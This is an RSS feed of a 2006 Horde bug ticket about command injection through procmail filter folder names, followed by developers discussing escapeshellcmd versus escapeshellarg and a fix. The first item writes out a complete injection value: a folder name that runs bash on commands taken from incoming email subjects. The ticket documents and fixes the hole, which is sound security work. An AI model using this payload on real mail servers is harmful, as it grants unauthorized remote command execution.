<?xml version="1.0" encoding="UTF-8"?> 
<?xml-stylesheet href="https://dev.horde.org/themes/horde//default/feed-rss.xsl" type="text/xsl"?> 
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> 
 <channel> 
  <title>command execution with procmail</title> 
  <pubDate>Fri, 10 Apr 2026 12:41:21 +0000</pubDate> 
  <link>https://bugs.horde.org/ticket/4513</link> 
  <atom:link rel="self" type="application/rss+xml" title="command execution with procmail" href="https://bugs.horde.org/ticket/4513/rss" /> 
  <description>command execution with procmail</description> 
 
   
   
  <item> 
   <title>It is possible to use a foldername beginning

with | as mail</title> 
   <description>It is possible to use a foldername beginning

with | as mailbox destination in a filterrule.



If the users don&#039;t have shell acces to the mailserver this rule could be

used to bypass this restriction.



EXCAPMLE:



The Foldername 

|formail    -rA     &quot;X-Loop:hisemailaddres@excample.com&quot;   |       (       cat     -       ;myCmd=&quot;$MATCH&quot;;  echo    &quot;Executing:     $myCmd&quot; ;       bash    -c      &quot;$myCmd&quot;       

 )       |$SENDMAIL        -oi     -t



would result in a prcmail like the following



* ^From:.*hisemailaddres@excample\.com

{

  :0

  * ^Subject:.*exec_command\/.*$

  |formail    -rA     &quot;X-Loop:hisemailaddres@excample.com&quot;   |       (       cat     -   

   ;

        myCmd=&quot;$MATCH&quot;; echo    &quot;Executing:     $myCmd&quot; ;       bash    -c      &quot;$myCmd&quot; 

      )

        |       $SENDMAIL       -oi     -t

}



</description> 
   <pubDate>Wed, 11 Oct 2006 11:34:08 +0000</pubDate> 
   <link>https://bugs.horde.org/ticket/4513#t24880</link> 
  </item> 
   
  <item> 
   <title>A possible way to handle this, from my own procmail knowledg</title> 
   <description>A possible way to handle this, from my own procmail knowledge and experiments, would be to escape the folder filenames the following way :



- if the first character is &quot;:&quot;, &quot;*&quot;, &quot;!&quot;, &quot;|&quot;, &quot;{&quot; or &quot;}&quot; : prepend &quot;./&quot; to the filename

- quote the whole filename with &#039;single quotes&#039;



but I wonder if procmail may exist on systems where the folder separator isn&#039;t &quot;/&quot;...

</description> 
   <pubDate>Fri, 13 Oct 2006 17:37:34 +0000</pubDate> 
   <link>https://bugs.horde.org/ticket/4513#t24994</link> 
  </item> 
   
  <item> 
   <title>escapeshellcmd() should take care of escaping all necessary </title> 
   <description>escapeshellcmd() should take care of escaping all necessary characters (since that&#039;s what it&#039;s designed to do).



Fixed in HEAD and FRAMEWORK_3.</description> 
   <pubDate>Sat, 14 Oct 2006 07:32:50 +0000</pubDate> 
   <link>https://bugs.horde.org/ticket/4513#t25014</link> 
  </item> 
   
  <item> 
   <title>Careful with that; escapeshellcmd is for an entire command. </title> 
   <description>Careful with that; escapeshellcmd is for an entire command. escapeshellarg is for a single argument and may be more appropriate here (also may not, but you should double-check if you didn&#039;t already look at it).</description> 
   <pubDate>Sat, 14 Oct 2006 18:41:17 +0000</pubDate> 
   <link>https://bugs.horde.org/ticket/4513#t25020</link> 
  </item> 
   
  <item> 
   <title>I looked at both, and escapeshellcmd() seems to be more appr</title> 
   <description>I looked at both, and escapeshellcmd() seems to be more appropriate.</description> 
   <pubDate>Sat, 14 Oct 2006 18:48:53 +0000</pubDate> 
   <link>https://bugs.horde.org/ticket/4513#t25023</link> 
  </item> 
   
  <item> 
   <title>K, just wanted to double check.</title> 
   <description>K, just wanted to double check.</description> 
   <pubDate>Sat, 14 Oct 2006 21:56:52 +0000</pubDate> 
   <link>https://bugs.horde.org/ticket/4513#t25027</link> 
  </item> 
   
   
 
 </channel> 
</rss> 
